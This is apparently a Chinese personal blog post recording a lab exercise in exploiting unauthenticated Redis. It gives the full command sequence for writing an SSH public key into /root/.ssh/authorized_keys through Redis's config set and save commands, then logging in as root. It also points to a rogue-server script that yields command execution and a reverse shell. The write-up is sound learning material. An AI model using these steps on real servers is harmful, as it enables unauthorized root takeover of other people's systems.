从redis未授权访问到获取服务器权限
从redis未授权访问到获取服务器权限
好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。
这里是关于redis未授权访问漏洞的一篇漏洞利用:
首先是redis,靶场搭建:
先是搭建ubuntu靶机,可参考这一篇文章:
https://zhuanlan.zhihu.com/p/141033713
全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。
安装redis服务:
安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:
https://www.cnblogs.com/bmjoker/p/9548962.html
安装好了之后:
redis-server /etc/redis.conf 启动redis服务。注意,一定要用root用户启动。
启动之后,这个redis未授权访问靶机就算搭建完成了。
漏洞利用:
如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。
下面是漏洞利用过程:
首先本地生成一对公私钥,使用命令:
ssh-keygen -t rsa
于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:
将生成的公钥的内容前后添加3个\n,即3个回车,保存到一个txt文件中。
然后将该txt中的内容写入redis:
cat test.txt | redis-cli -h 192.168.145.135 -x set ok
登录redis服务器:
redis-cli -h 192.168.145.135
config get dir命令可以得到redis的备份路径
更改redis备份路径为ssh公钥存放目录,即/root/.ssh:
config set dir /root/.ssh
然后设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
然后
save
这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。
上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:
使用脚本:
https://github.com/vulhub/redis-rogue-getshell
使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。